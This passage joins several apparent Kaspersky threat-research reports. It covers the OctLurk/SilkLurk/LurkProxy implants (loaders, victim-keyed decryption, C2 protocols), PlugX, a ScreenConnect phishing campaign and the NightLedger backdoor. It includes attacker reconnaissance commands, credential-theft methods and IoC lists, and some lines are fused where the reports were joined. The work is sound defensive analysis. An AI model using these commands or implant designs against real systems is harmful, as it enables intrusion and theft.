| WMIC /Node:localhost /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | findstr “=” | Retrieves information about installed antivirus software. |
| powershell Get-NetTCPConnection | Retrieves information about TCP connections. |
| netstat -ano | findstr LISTENING | Shows listening ports. |
| netstat -ano | findstr ESTABLISHED | Displays established connections. |
| cmd.exe /c netstat -ano | findstr “EST” | findstr -v 127.0.0.1 | Filters established connections excluding the loopback address. |
| powershell.exe “get-wmiobject -query ‘select * from win32_process’ | Select-Object ProcessId,ProcessName,CommandLine,ExecutablePath,CreationDate | Where-object {$_.ProcessId -eq 500} | Format-List” | Retrieves detailed information about a specific process. |
| reg query HKLM /s /f “ProfileImagePath” /t REG_EXPAND_SZ | Searches the Windows Registry under HKEY_LOCAL_MACHINE (HKLM) for entries where the value name is “ProfileImagePath” and the type is REG_EXPAND_SZ. It points to the location of a user’s profile folder. |
| cmd.exe /c dir /b c:\users | Lists the contents of the C:\Users directory. |
| wmic startup get caption,command | findstr exe | Filters startup items for executable files. |
| powershell “get-MpComputerStatus” | Retrieves the status and configuration details of Microsoft Defender Antivirus (formerly Windows Defender) on a Windows system. |
| reg query “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features” /v “TamperProtection” | Queries whether Microsoft Defender antivirus’s tamper protection is enabled. |
| reg query “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions” /s | Queries exclusion settings for Microsoft Defender Antivirus. This is where you can configure files, folders, processes, and extensions that should be excluded from being scanned by Defender. |
| wevtutil gli Security | Configures the Security event log. |
| wevtutil gl Security /f:xml | Retrieves events from the Security log in XML format. |
| wevtutil gli “Windows PowerShell” | Configures the Windows PowerShell event log. |
| wevtutil gl “Windows PowerShell” /f:xml | Retrieves events from the Windows PowerShell log in XML format. |
| wevtutil gli System | Configures the System event log. |
| wevtutil gl System /f:xml | Retrieves events from the System log in XML format. |
| schtasks /query /fo LIST /v | findstr “TaskName> Status> ‘Task To Run’> ‘Run As User’>” | Lists all scheduled tasks in verbose mode and extracts the following fields: Status, Task To Run, Run As User, and TaskName. |
| systeminfo | Displays detailed system information. |
| powershell “Get-WmiObject -Class Win32_BIOS | Format-list” | Retrieves BIOS information. |
| powershell “Get-WMIObject -Class Win32_PhysicalMemory | Format-list” | Retrieves physical memory information. |
| powershell “Get-WMIObject -Class Win32_Processor | Format-list” | Retrieves processor information. |
| powershell “Get-WMIObject -Class Win32_DiskDrive | Format-list” | Retrieves disk drive information. |
| netsh interface ipv4 show interfaces | Displays information about IPv4 interfaces. |
| powershell “gwmi Win32_NetworkAdapter | Format-list” | Provides hardware-level and driver-level information about adapters. |
| powershell “gwmi Win32_NetworkAdapterConfiguration | Format-list” | Provides network configuration details, such as IP address, DNS, DHCP status, etc. |
| ipconfig /all | Displays detailed network configuration. |
| netstat -e -s | Displays detailed network protocol statistics. |
| certutil -urlcache | Displays URL cache entries. |
| ipconfig /displaydns | Displays the contents of the DNS client resolver cache. |
The attackers ran commands to export successful logon events for remote interactive logons (e.g., Remote Desktop Protocol) and to query those events for specific users.
Attackers ran a malicious file named Adobe.exe (MD5 32a5985543433a4f60da2fafd873b927), which is a portable‑executable version of Impacket’s secretsdump.py tool. Using this tool, they extracted password hashes from domain controllers, the critical servers in an Active Directory environment. Immediately after harvesting the hashes, they issued commands to list all members of the “Domain Controllers” group, likely to identify and target additional domain controllers for further compromise.
Attackers dropped and executed a keylogger located at C:\Users\Public\Pictures\AnyDesk.exe (MD5: 2a571f6cee42a17d873f4c942649813f). They then created a scheduled task named AnyDesk to run the keylogger whenever any user logged on as shown below.
The keylogger creates two files: C:\Users\Public\Libraries\msect\dev0, which stores captured keystrokes, and C:\Users\Public\Libraries\msect\dev1, which holds clipboard data. Before writing to these files, the captured data is encoded by subtracting 2 from each byte.
The Browser Password Decryptor tool C:\users\[username]\libraries\64.exe (MD5 37dc84e4bcad92fa28f1e7778d088283) is used to extract passwords from browsers. The tool offers two options: -help to extract passwords from Chrome and -exit to extract passwords from Firefox. For Chrome, the tool targets the Login Data and Local State databases located at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data and %LOCALAPPDATA%\Google\Chrome\User Data\Local State, respectively. The Local State contains the master key, which is essential for decrypting encrypted login information stored in the Login Data database file. For Firefox, the tool targets the logins.json file located at %APPDATA%\Mozilla\Firefox\Profiles\{profile folder}. The logins.json file in Firefox stores encrypted usernames and passwords for websites.
Pandora RC agent provides remote control of a victim’s computer, allowing attackers to monitor and manipulate the system. Using administrative credentials, the attacker creates a scheduled task named GoogleUpDate on the compromised machines. This task runs once with System account privileges and executes the script 1.bat, which can be found at either C:\Users\[username]\1.bat or C:\ProgramData\1.bat (MD5 5e26df131ff0a679a0a2699b723b46e3). The task’s status is first queried, then it is executed, as shown below.
The batch script 1.bat executes a command that downloads and installs the Pandora RC agent using the arguments shown below.
%ProgramFiles%\_agent)Fscan is a comprehensive internal‑network scanning tool that offers a range of functions, including network discovery, vulnerability assessment, reverse‑shell creation, and brute forcing of common services. The executable is dropped to %TEMP%\fc.exe (MD5: cf903e4a1629aa0582fd0363b5786676) and writes its output to %TEMP%\result.txt. Using Fscan, both internal and public networks were scanned to identify services running on specific ports, such as Secure Shell (SSH) on port 22 and MySQL on port 3306. The tool also attempted to access these services using credentials from the password file pp.txt.
The attackers used the curl command to connect to an email server, authenticate with a username and password, and issue a command to select the Inbox folder. Typically, the goal is to:
In a similar manner to the OctLurk backdoor, the attacker also deployed another implant we named LurkProxy, which uses a heavily obfuscated version of the OctLurk loader. While LurkProxy has a nearly identical architecture to the OctLurk backdoor, its primary role is to proxy network traffic. Like the OctLurk, it exports a function named curl_escape_easy, which the loader invokes. Once executed, LurkProxy listens on all interfaces on hard‑coded port 64980 and establishes a TLS‑encrypted connection to the C2 server (154[.]196[.]162[.]76). The C2 communication uses a proprietary binary protocol, where each packet is compressed with zlib, encrypted with a double‑XOR scheme, and follows the structure outlined below.
| Offset | Data | Type |
| 0x00 (00) | Unused | – |
| 0x08 (08) | Packet control flags. Bit 0 indicates high priority packet, bit 1 indicates single packet | bit array |
| 0x0C (12) | Command number | int |
| 0x10 (16) | Handler number (unique identifier for each proxy client in the first mode) | int |
| 0x14 (20) | Command integer argument | int |
| 0x18 (24) | Unused | – |
| 0x1C (28) | Data 1 payload size | int |
| 0x20 (32) | Data 2 payload size | int |
| 0x24 (36) | Data 1 byte stream | bytes |
| 0x24 (36) + N | Data 2 byte stream | bytes |
LurkProxy can function as a reverse proxy in two distinct modes as described below. The mode is selected by a static flag, meaning the proxy can operate in only one mode at a time. In the implant we examined, the first (SOCKS5) mode was used.
Mode 1: SOCKS5 proxy
When a client connects, LurkProxy sends to the C2 the command 0x1000010, indicating that the connection has been established and includes the target address in the packet data. The C2 server then opens a connection to that address, enabling bidirectional communication through the appropriate commands.
Mode 2: transparent proxy
In this mode, the target address and port are hard‑coded. Upon startup, LurkProxy immediately connects to the predefined target via the C2 channel using the same command. All subsequent client connections are routed through this single, fixed target. This mode handles raw network traffic directly, bypassing the SOCKS5 layer.
| Command ID | Direction | Description | Arguments |
| 0x1000010 | Implant -> C2 | When a new proxy client connects, it creates a proxy session and notifies C2 of the successful configuration | Target port in command integer argument UTF-16 encoded connection hostname in data 1 |
| 0x1000010 | C2 -> Implant | Used to control the session, allowing it to pause or stop proxying | Action in command integer argument (1 to pause, or any other value to terminate) |
| 0x1000030 | Implant -> C2 | Sent when the LurkProxy is shut down | – |
| 0x1000050 | Implant -> C2 | Forwards the received bytes from the client to C2 | Raw TCP bytes in data 1 |
| 0x1000050 | C2 -> Implant | Forwards the received bytes from the proxy target to the client | Raw TCP bytes in data 1 |
The attacker created a service that executes legitimate binaries, such as NetSetSvc.exe (NVIDIA debug dump), nvgwls.exe (NVIDIA background tool responsible for autotuning), RtkSmbus.exe (Realtek Semiconductor’s noise‑cancelling program), and RtkNGUI64.exe (Realtek High‑Definition Audio Manager), to side‑load malicious loader DLLs: nvml.dll, vulkan-1.dll, RtkSmbusLoc.dll, and RtkNGUI64Loc.dll, respectively. These DLLs act as a loader that will inject SilkLurk backdoor into the process memory.
SilkLurk loader working logic
The loader first verifies that it is running within the legitimate executable that loads it. Next, it moves the payload file (in the analyzed sample, it was named OneDrive.dat) from its module location (C:\ProgramData\Microsoft\Network\Connections in the analyzed sample) to the hard‑coded payload path (C:\ProgramData\Microsoft OneDrive\setup in the analyzed sample). Note that the hard-coded payload path may vary depending on the loader.
Next, the loader creates a service named RmSs to maintain persistence. The service will run the legitimate module binary (C:\ProgramData\Microsoft\Network\Connections\nvgwls.exe) that loads the malicious loader (vulkan-1.dll). The service is configured with the parameters mentioned below. Additionally, the service configuration is modified to restart the service in the event of a failure. Finally, the loader starts the service.
SERVICE_WIN32_OWN_PROCESSSERVICE_AUTO_STARTSERVICE_ERROR_NORMALOn service start, loader calls StartServiceCtrlDispatcher, which will invoke ServiceProc. The ServiceProc then calls the routine s_1800078F0_decrypt_and_run_payload. This routine computes a 32-bit hash (dword) of the victim’s computer name. The dword hash is used by a custom algorithm made up of arithmetic and logical operations to decrypt the hardcoded payload file path. The payload bytes themselves are decrypted with the same algorithm that decoded the file path. By using the victim’s computer name in the decryption of both the file path and the payload bytes, the loader becomes specific to each victim. The decrypted bytes contain shellcode with the following structure:
| Shellcode offset | Description |
| 0x000 (0) | Stub code, which performs reflective code injection |
| 0x770 (1904) | Hardcoded value 0x11113F68, XORed with the computer name hash |
| 0x774 (1908) | Hardcoded byte 0xD9, used as XOR key to decrypt import DLL names and APIs |
| 0x775 (1909) | Size of the encrypted backdoor |
| 0x779 (1913) | Encrypted backdoor data blob |
The stub code decrypts and injects the backdoor blob into memory. To decrypt the blob, it first computes a dword hash of the computer’s name. This hash is then fed into a custom algorithm — a series of arithmetic and logical operations — that performs the decryption. This algorithm differs from the one used to decrypt the payload file.
The IMAGE_DOS_HEADER of the backdoor binary is zeroed out. Information in the IMAGE_NT_HEADERS, such as ImageSize and NumberOfSections, is XOR-decrypted using the hash of the computer name. The first three sections are decrypted again using a custom algorithm (a series of arithmetic and logical operations) before being injected into memory.
During import resolution, DLL names and API names are XOR‑decrypted using a hard‑coded single‑byte key. After the import DLL is loaded and the API addresses are resolved, the DLL and API name strings are zeroed out.
During relocation, the size of each relocation block, the value of each relocation entry, and the bytes to be relocated are XOR‑decrypted using the dword hash of the computer name. Afterward, the entry point is also XOR‑decrypted with the same hash and then invoked.
The backdoor contains a hardcoded configuration of 0x4AC (1196) bytes, with the first 0x10 (16) bytes holding a mutex string and the remaining 0x49C (1180) bytes comprising encrypted configuration data; this configuration is written to a hardcoded filename (e.g., 2470b666bece868f, 27879a4df1a740ff) that differs across samples and is placed in the %APPDATA% directory. The configuration is decrypted using a custom algorithm involving a series of arithmetic and logical operations that is distinct from the algorithm used to decrypt the encrypted backdoor blob and payload file. The configuration has the following structure:
| Offset | Description |
| 0x00 (000) | C2 Host 1 |
| 0x64 (100) | C2 Host 2 |
| 0xC8 (200) | C2 Host 3 |
| 0x12C (300) | C2 Host 4 |
| 0x190 (400) | Port for C2 Host 1 |
| 0x192 (402) | Port for C2 Host 2 |
| 0x194 (404) | Port for C2 Host 3 |
| 0x196 (406) | Port for C2 Host 4 |
| 0x198 (408) | Unknown 21 bytes |
| 0x1AD (429) | Proxy address 1 |
| 0x22A (554) | Proxy username 1 |
| 0x2A7 (679) | Proxy password 1 |
| 0x324 (804) | Proxy address 2 |
| 0x3A1 (929) | Proxy username 2 |
| 0x41E (1054) | Proxy password 2 |
The backdoor creates a TCP socket and connects to the C2 server defined in the configuration. If proxy details are provided, it attempts to establish the C2 connection through the proxy. The proxy request uses the following format:
CONNECT %s:%d HTTP/1.1 Proxy-Connection: Keep-Alive Host: %s:%d Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
After successfully connecting to the C2 server, it generates a random 32‑byte (0x20) network key that will be used to encrypt and decrypt network packets. This key is appended to the magic dword, as shown in the table below, creating a 40‑byte block that is then encrypted with a custom algorithm: a series of arithmetic and logical operations that differs from the one used to decrypt the configuration.
| Field offset | Field size (in bytes) | Field value |
| 0x00 (00) | 0x04 (04) | 0x0C7FFBE86h (magic dword) |
| 0x04 (04) | 0x04 (04) | 0 |
| 0x08 (08) | 0x20 (32) | Network key (will be used to encrypt and decrypt network traffic) |
It then prepares a packet to send the key to the command‑and-control server, as shown in the table below. The packet contains a 0xC (12‑byte) header, a 0x28 (40‑byte) block of encrypted network‑key data (see the table above), and a randomly generated payload whose size ranges from 0x14 (20) to 0xB4 (180) bytes.
| Field offset | Field size (in bytes) | Field value |
| 0x00 (00) | 0x08 (08) | data_size (encrypted_key_data + random_bytes_size) |
| 0x08 (08) | 0x04 (04) | data_size XORed with 0x39 |
| 0x0C (12) | 0x28 (40) | Encrypted network key data (as mentioned in above table) |
| 0x34 (52) | size between 0x14 (20) and 0xB4 (180) | Random data bytes |
After sending the key, the backdoor collects the following victim information: local computer name, DNS domain assigned to the local computer, user’s logon name, processor architecture, OS major version and build number, host IP address, current process ID, tick count value, and backdoor module name. The collected victim information is first compressed and then encrypted using the network key. The custom algorithm (a series of arithmetic and logical operations) used to encrypt collected victim information is different from the algorithms used to decrypt the configuration and encrypt the network key. Before sending the victim information, a 0x0F (15) byte header is generated and encrypted using the same custom algorithm used to encrypt the collected victim data. The header follows the format as shown in the table below.
| Field offset | Field size (in bytes) | Field value |
| 0x00 (00) | 0x04 (04) | 0xC7FFBE86 (magic dword) |
| 0x04(04) | 0x04 (04) | Message type (1 means victim information) |
| 0x08 (08) | 0x04 (04) | Data size (size of encrypted victim information) |
| 0x0C (12) | 0x01 (01) | Compression flag (1 means compressed) |
| 0x0D (13) | 0x02 (02) | Size of random bytes, between 0x14 and 0x96 bytes |
Finally, the encrypted header and victim information are formatted as shown below and transmitted to the C2 server.
<random_dword><encrypted header><encrypted victim information><random bytes>
Once the backdoor has transmitted the victim information, it waits for a 0x13‑byte (19‑byte) response from the C2 server. This response follows the structure presented in the table below.
| Field offset | Field size (in bytes) | Field value |
| 0x00 (00) | 0x04 (04) | Random dword |
| 0x04 (04) | 0x0F (15) | Encrypted header data |
The encrypted header contained in the response is decrypted with the network key that was generated and shared with the C2 server. After decryption, the header retains the same size and structure as the one used in the victim information message.
The message type field in the header (offset 0x04) determines which operation (command) to perform. Next, the backdoor figures out the size of the command data to receive by adding up the size of the encrypted data (found at position 0x08 in the received header) and the size of the random bytes (found at position 0x0D in the received header). The received command data is first decompressed, based on the compression flag located at position 0x0D in the received header, and then decrypted using the custom algorithm that was used to encrypt the sent data. The backdoor supports the following commands:
| Command (message type) | Description |
| 03 | Based on subcommand, perform the following operations: 00: Get target system’s local time 01: Set sleep time in milliseconds, after which to reconnect to the C2 server |
| 04 | Send current backdoor configuration |
| 05 | Update backdoor configuration |
| 06 | Receive and inject additional payloads (plugins) into memory. Based the on subcommand, perform the following operations: 01: Inject payload (plugin) bytes into memory and execute payload’s entry point 03: Call export method of injected plugin |
The threat actor operating the SilkLurk backdoor first used it to invoke cmd.exe to launch PowerShell. Within PowerShell, they ran commands such as net use to connect to shared network resources with administrative credentials. After establishing the connection, they searched the shared drives for confidential documents to exfiltrate. Once the search was complete, they disconnected from the network share to erase evidence of which internal servers had been accessed. To archive the stolen data, they employed legitimate archiving tools: WinRAR and 7‑Zip.
Below are the paths and names of the WinRAR and 7Zip binaries used by the attackers.
| WinRAR | 18dc8bff47cc282508354771d0c8cf8c | C:\Users\[username]\Libraries\RecordedTV.exe C:\Users\[username]\Libraries\recordutil.exe |
| 7Zip | 9a1dd1d96481d61934dcc2d568971d06 | C:\windows\vss\7z.exe |
The SilkLurk backdoor opened a command shell (cmd.exe). Using this shell, the attacker executed the file C:\ProgramData\microsoft\html help\kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c). The kmsonline.exe binary acted as a dropper for the PlugX malware, deploying the malicious files listed below.
C:\ProgramData\Symantec\RasTls.exe - Legitimate Binary (MD5 62944e26b36b1dcace429ae26ba66164) C:\ProgramData\Symantec\RasTls.dll - PlugX Loader Dll (MD5 ef59aad625eebda8650aec5820d6ce69) C:\ProgramData\Symantec\RasTls.dll.res - PlugX Payload file
Our Kaspersky Threat Attribution Engine (KTAE) also identified a strong degree of similarity between kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c) and PlugX.
PlugX was configured to communicate with the C2 domain gycudore[.]kozow[.]com and the IP address 64[.]7[.]198[.]130. Below are the extracted configuration fields from PlugX.
| Config field name | Value |
| Injection Target Process | %SystemRoot%\system32\svchost.exe |
| Home Directory | %ALLUSERSPROFILE%\Symantec |
| Persistence Name | SymantecRAS |
| Service Display Name | SymantecRAS |
| Service Description | Symantec RAS Services |
| Campaign ID | KG_MFA |
The threat infrastructure relies on VPS servers. Some OctLurk and LurkProxy C2 addresses are referenced in a public report by Kazakhstan’s State Technical Service (STS) company. According to available data, a campaign targeting critical infrastructure in Kazakhstan was discovered in March 2025. During this campaign, attackers employed the TrustFall (STS internal designation) remote access malware, also known as MystRodX (Qianxin) and SilentRaid (Cisco) and designed for Linux-based operating systems. Subsequently, in October 2025, STS researchers found additional TrustFall samples, while also discovering its new C2 servers via active probing. Notably, three observed TrustFall C2 addresses were also leveraged by OctLurk and LurkProxy. This overlap points to shared infrastructure across multiple OS-targeting campaigns, though it remains unclear whether these activities ran concurrently or at different times.
We identified multiple artifacts confirming that OctLurk and SilkLurk are operated by the same threat actor. Several users infected with OctLurk were also found to be infected with SilkLurk, and in some cases both malware families used the same staging directory. Below are examples of these artifacts.
C:\Windows\system32\svchost.exe -k ExAstSrc -s ExAstSrc to deploy OctLurk. They used OctLurk to obtain a command shell and were observed dropping the SilkLurk loader vulkan-1.dll (MD5 be4731c09734da2e8eb6814a9c82f266) via this shell, as shown below.
C:\ProgramData\intel\ to drop both the OctLurk and SilkLurk loader DLLs.| OctLurk | C:\ProgramData\intel\mscastrac.dll (MD5 7c2f64461bb519c6cbf1fc687675514c) C:\ProgramData\intel\msbasesysdc.dll (MD5 f4578e869a735cfad691f927bae3e638) |
| SilkLurk | C:\ProgramData\intel\vulkan-1.dll (MD5 2f18472866f38c1e1c2c5c14b9a6ab56) |
In one incident, the attacker used SilkLurk to obtain a command shell (cmd.exe) and then deployed and executed the PlugX malware. The PlugX sample was configured to contact gycudore[.]kozow[.]com as its command‑and‑control (C2) server, while the SilkLurk backdoor used ctyuhjerf[.]kozow[.]com for C2. PlugX is a well‑known modular remote‑access Trojan (RAT) that has been active since at least 2008 and historically linked to Chinese-speaking threat actors. This suggests that both OctLurk and SilkLurk were also developed and operated by a Chinese‑speaking actor, although at this time, we cannot attribute this activity to a known threat group.
The emergence of the OctLurk and SilkLurk multi‑plugin malware framework highlights how threat actors continuously refine their tactics to evade detection and maintain control over compromised networks. Both families operate primarily in memory, leaving only a minimalistic loader on disk that relies on machine‑specific data (OctLurk uses the drive serial number, and SilkLurk uses the computer name) to decode payload locations and contents. This victim‑specific encoding makes reverse engineering and automated detection considerably harder.
In addition to sophisticated obfuscation, the attackers establish redundant access channels, harvest credentials, and deploy well‑known remote access and monitoring tools. These secondary pathways ensure persistence even if the original infection vector is discovered or neutralized.
Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.
dns[.]multitoconference[.]com
tj[.]tajikistandip[.]com
fm01[.]clouddevicemetrics[.]com
confbase[.]mdpsupport[.]net
digital[.]leroymerling[.]com
api2[.]annoyingremote[.]com
about[.]blsouqs[.]com
ssl[.]blsouqs[.]com
45[.]138[.]157[.]165
dns[.]ssentialserv[.]xyz
154[.]196[.]162[.]76
tyhbgtyuj[.]gleeze[.]com
95[.]179[.]210[.]138
wedfcvbn[.]gleeze[.]com
45[.]77[.]136[.]228
rgnojb[.]casacam[.]net
95[.]179[.]141[.]26
ctyuhjerf[.]kozow[.]com
45[.]32[.]152[.]50
212[.]11[.]39[.]138
195[.]86[.]120[.]2
uyhvfredc[.]accesscam[.]org
154[.]196[.]187[.]73
45[.]61[.]149[.]112
wedfcvbn[.]gleeze[.]com
45[.]77[.]136[.]228
gycudore[.]kozow[.]com
64[.]7[.]198[.]130
082d49ef9f14e6811d68c7e0e82e5069 oleasapi.dll
f4578e869a735cfad691f927bae3e638 msbasesysdc.dll
7c2f64461bb519c6cbf1fc687675514c mscastrac.dll
8269d6ba1b6842f9152c90cf7add9b93 vulkan-1.dll
3c9a1ba8e0c7475706adc6376e9d7b7c kmsonline.exe
ef59aad625eebda8650aec5820d6ce69 RasTls.dll
a0cc7accc79abb0287aaba825d0351f0
a56cce62930a6bee80d679b4c495a340
1415a78b75de7db4ba3d1e61d7db4501
a4d550a3ba0cd073fe3839b99d98a7a8
32a5985543433a4f60da2fafd873b927 Adobe.exe
2a571f6cee42a17d873f4c942649813f AnyDesk.exe
37dc84e4bcad92fa28f1e7778d088283 x64.exe
cf903e4a1629aa0582fd0363b5786676 fc.exe
6ecf84fb18f6747ed08d7598364d853a 1.bat
b874123a80fc4f40e06872b9cb54ebc6 auto.bat
45cf5916fab4272a1313c26e67aa9220 in.bat
4e6d5c4770d5a822d7fcce6a74f7ad73 in.bat
5e26df131ff0a679a0a2699b723b46e3 1.bat
18dc8bff47cc282508354771d0c8cf8c RecordedTV.exe, recordutil.exe
9a1dd1d96481d61934dcc2d568971d06 7z.exe
C:\Users\[username]\Videos\1.bat
C:\Windows\System32\oleasapi.dll
C:\Windows\Media\Welcome01.wav
C:\windows\temp\in.bat
C:\Users\[username]\1.bat
C:\ProgramData\1.bat
C:\Windows\System32\msbasesysdc.dll
C:\Windows\System32\Waavsstrace.dll
C:\Windows\System32\SystemSettings.Publishing.dll
C:\Windows\System32\msdctries.dll
C:\Users\Public\Pictures\AnyDesk.exe
C:\Users\Public\Libraries\msect\dev0
C:\Users\Public\Libraries\msect\dev1
C:\users\[username]\libraries\64.exe
C:\ProgramData\Ehorus\
%TEMP%\fc.exe
C:\programdata\microsoft\network\connections\nvgwls.exe
C:\ProgramData\Veeam\EndpointData\nvgwls.exe
c:\ProgramData\microsoft\network\connections\vulkan-1.dll
C:\ProgramData\microsoft\network\downloader\vulkan-1.dll
C:\ProgramData\intel\vulkan-1.dll
C:\Users\Public\Music\vulkan-1.dll
C:\ProgramData\HP\NCCOM\vulkan-1.dll
C:\ProgramData\intel\gcc\vulkan-1.dll
C:\Windows\System32\0409\vulkan-1.dll
C:\ProgramData\veeam\endpointdata\vulkan-1.dll
C:\ProgramData\plug\vulkan-1.dll
C:\Program Files\nvidia corporation\display.nvcontainer\plugins\vulkan-1.dll
C:\ProgramData\microsoft onedrive\setup\vulkan-1.dll
C:\vmware\vmware tools\vmware vgauth\schemas\vulkan-1.dll
C:\ProgramData\nvidia\ngx\vulkan-1.dll
C:\ProgramData\microsoft\microsoft\vulkan-1.dll
C:\ProgramData\usoprivate\updatestore\vulkan-1.dll
C:\ProgramData\Microsoft OneDrive\setup\OneDrive.dat
C:\ProgramData\NVIDIA\DisplayDriverContainer1.log
C:\ProgramData\Microsoft\Diagnosis\ETLLogs\ETL.log
C:\ProgramData\NVIDI\NGX\ngx.dat
C:\ProgramData\Intel\GCC\2024.log
C:\ProgramData\veem\pyshellext.amd64.log
C:\ProgramData\Microsoft\RtkNGUI\RtkNGUI64.exe
C:\ProgramData\microsoft\rtkngui\RtkNGUI64Loc.dll
C:\ProgramData\realtek\audio\RtkNGUI64Loc.dll
C:\realtek\audio\RtkNGUI64Loc.dll
C:\ProgramData\USOPrivate\UpdateStore\Store.dat
C:\ProgramData\Microsoft\Crypto\Keys\Store.key
C:\DrvPath\Network\Lan\Realtek\NetSetSvc.exe
C:\drvpath\network\lan\realtek\nvml.dll
C:\microsoft\network\connections\nvml.dll
C:\ProgramData\microsoft\network\connections\nvml.dll
C:\Windows\System32\0419\nvml.dll
C:\veeam\nvml.dll
C:\microsoft\network\nvml.dll
C:\ProgramData\hp\nvml.dll
C:\usoprivate\updatestore\nvml.dll
c:\nvidia corporation\display.nvcontainer\plugins\nvml.dll
C:\Users\Public\Pictures\image.png
C:\Users\Public\Documents\My Pictures\image.png
C:\ProgramData\Realtek\Audio\RtkSmbus.exe
C:\ProgramData\realtek\audio\RtkSmbusLoc.dll
C:\rtksmbusact\RtkSmbusLoc.dll
C:\ProgramData\rtksmbusact\RtkSmbusLoc.dll
C:\realtek\audio\RtkSmbusLoc.dll
C:\ProgramData\microsoft\html help\kmsonline.exe
C:\ProgramData\Symantec\RasTls.exe
C:\ProgramData\Symantec\RasTls.dll
C:\ProgramData\Symantec\RasTls.dll.res
C:\Users\[username]\Libraries\RecordedTV.exe
C:\Users\[username]\Libraries\recordutil.exe
C:\windows\vss\7z.exe
Leveraging legitimate software is one of cybercriminals’ tactics of choice, with remote management tools ranking among their top tools. A recent example involves the remote administration utility ScreenConnect. It’s designed for IT support teams to troubleshoot systems and configure software seamlessly in the background. However, when weaponized by threat actors, ScreenConnect becomes a versatile attack vehicle used to harvest data, deploy malware, and move laterally across corporate networks.
During a recent incident detected by Kaspersky Managed Detection and Response, our experts identified an attempt to use ScreenConnect in an attack. This allowed a detailed study of how attackers used this application in a large-scale malware distribution campaign. The following breakdown illustrates the mechanics of ScreenConnect-assisted attacks, and outlines key strategies to defend your organization against them.
In the campaign analyzed by our experts, the attackers bundled ScreenConnect with legitimate free business software. They established a network of phishing websites to spoof popular tools, including OBS Studio, DS4Windows, DNS Jumper, Glary Utilities, Bandizip, Process Hacker, and others.
These rogue websites featured high-quality designs that could be taken for the official pages, making them highly convincing to unsuspecting users. Once the victim clicks the download button for the software, an archive is downloaded to their computer that contains additional files alongside the requested application:
Launching the renamed file disguised as the app installer triggers DLL sideloading of a malicious library. This library silently runs the ScreenConnect installation without restarting the system, while using the standard Windows installer to set up the software the user originally tried to install.
The attackers used search engine optimization techniques to drive traffic to their fake websites. As a result, these malicious pages appeared at the top of search results for certain free software utilities on major search engines.
Our experts discovered over 90 domain names translated into more than 10 different languages. While most of these websites targeted English, Russian, and Chinese speakers, several domains catered to German, French, Spanish, Arabic, and other regional audiences.
A detailed analysis of the IP addresses and associated spoofed domains is available in our technical research article on Securelist, along with full indicators of compromise.
In this campaign, attackers leveraged ScreenConnect to generate and execute malicious scripts on victim machines. These scripts served several key functions: they created exclusions for specific drives, directories, and processes within Windows Defender, disabled the User Account Control (UAC) security mechanism, and delivered and deployed AsyncRAT – a remote access Trojan.
To maintain persistence, the scripts configured a Windows scheduled task to run the malicious code at preset intervals. AsyncRAT then established a connection with the attackers’ command-and-control server to receive further instructions.
The primary objective of this campaign appears to be gaining unauthorized access to enterprise systems, likely to then resell it on cybercrime marketplaces.
Although ScreenConnect in and of itself is a legitimate tool, its presence poses a security risk to corporate environments. Consequently, Kaspersky security solutions detect this application as not-a-virus:HEUR:RemoteAdmin.MSIL.ConnectWise.gen.
Security teams should implement the following controls:
As noted previously, this campaign was originally detected through the Kaspersky Managed Detection and Response service, which can be employed to protect against such threats.
Mirage Kitten – also known as UNC1549, Smoke Sandstorm, and Nimbus Manticore – is an advanced persistent threat (APT) group focused on cyber-espionage operations against aerospace, aviation, defense, and telecommunications sectors across the Middle East and Africa, using highly targeted spear-phishing campaigns, fake recruitment portals, and custom multi-stage malware to gain persistent access and exfiltrate sensitive data.
During recent threat research, we identified a previously undocumented malware set developed and used by Mirage Kitten. The toolset includes NightLedger, a new Windows backdoor for reconnaissance, command execution, file operations, process discovery, and screenshot capture; and two custom WebSocket-based tunnelers, ArcBridge and BridgeHead, for covert network access and operator-controlled tunneling.
Although the initial access vector remains unclear for most malware samples observed in this activity, we saw BridgeHead being deployed during post-exploitation activities in victim environments in Egypt and at a Pakistan-based aerospace and aviation organization. The deployment followed targeted spear-phishing activity consistent with tradecraft we recently documented as part of our private threat intelligence reporting service and publicly reported by Unit 42 and Check Point Research, including the use of highly tailored social engineering lures against selected targets. These lures included recruitment-themed content impersonating trusted brands and hiring platforms, as well as lookalike videoconferencing pages that redirected victims to malicious archives hosted on third-party file-sharing services.
NightLedger is a recently identified Windows backdoor that we attribute to Mirage Kitten based on code and behavioral similarities to the historical implants developed and used by the group. The implant masquerades as SspiCli.dll and appears to be designed for DLL search-order hijacking, targeting a legitimate AppVShNotify.exe binary. While AppVShNotify.exe does not directly import SspiCli.dll, it imports RPCRT4.dll, which can delay-load SspiCli.dll when it invokes an RPC API that requires authentication. This allows a co-located malicious SspiCli.dll to be loaded while forwarding expected exports to the legitimate DLL.
When started, the malicious DLL creates the mutex A8215357-F99A-44FE-BC65-D8F0434B0C03 to enforce a single running instance. If the mutex already exists, it exits immediately.
NightLedger periodically contacts its C2 over HTTPS, issuing an HTTP GET request to the /edfcvfgbhnjmkqwasderfgg endpoint at the realhealthshop[.]com domain, and uses tjconsultingservices[.]com as a fallback C2.
When a valid C2 response is received, the implant tokenizes the payload using the custom delimiter (#%%#) and passes the parsed fields to its command dispatcher. From a development standpoint, this is similar to TWOSTROKE, a backdoor attributed to the same APT and previously documented by GTIG, whose C2 response is hex-encoded and uses (@##@) as a field separator.
NightLedger supports the following commands:
| Command ID | Description |
| 1 | Gather user and host identity information |
| 3 | Execute a process/program |
| 17 | List directories |
| 20 | Download a file to the infected system |
| 25 | Gather host and network information |
| 27 | Copy a file |
| 30 | Update beacon interval |
| 36 | Take a screenshot |
| 43 | Load a DLL |
| 56 | Kill a process |
| 62 | Delete a file |
| 69 | Terminate thread |
| 70 | Upload file to C2 server via POST request to /qasxcdfvgbhnmyuioplkhnj |
| 75 | Enumerate logical drives |
| 90 | List processes |
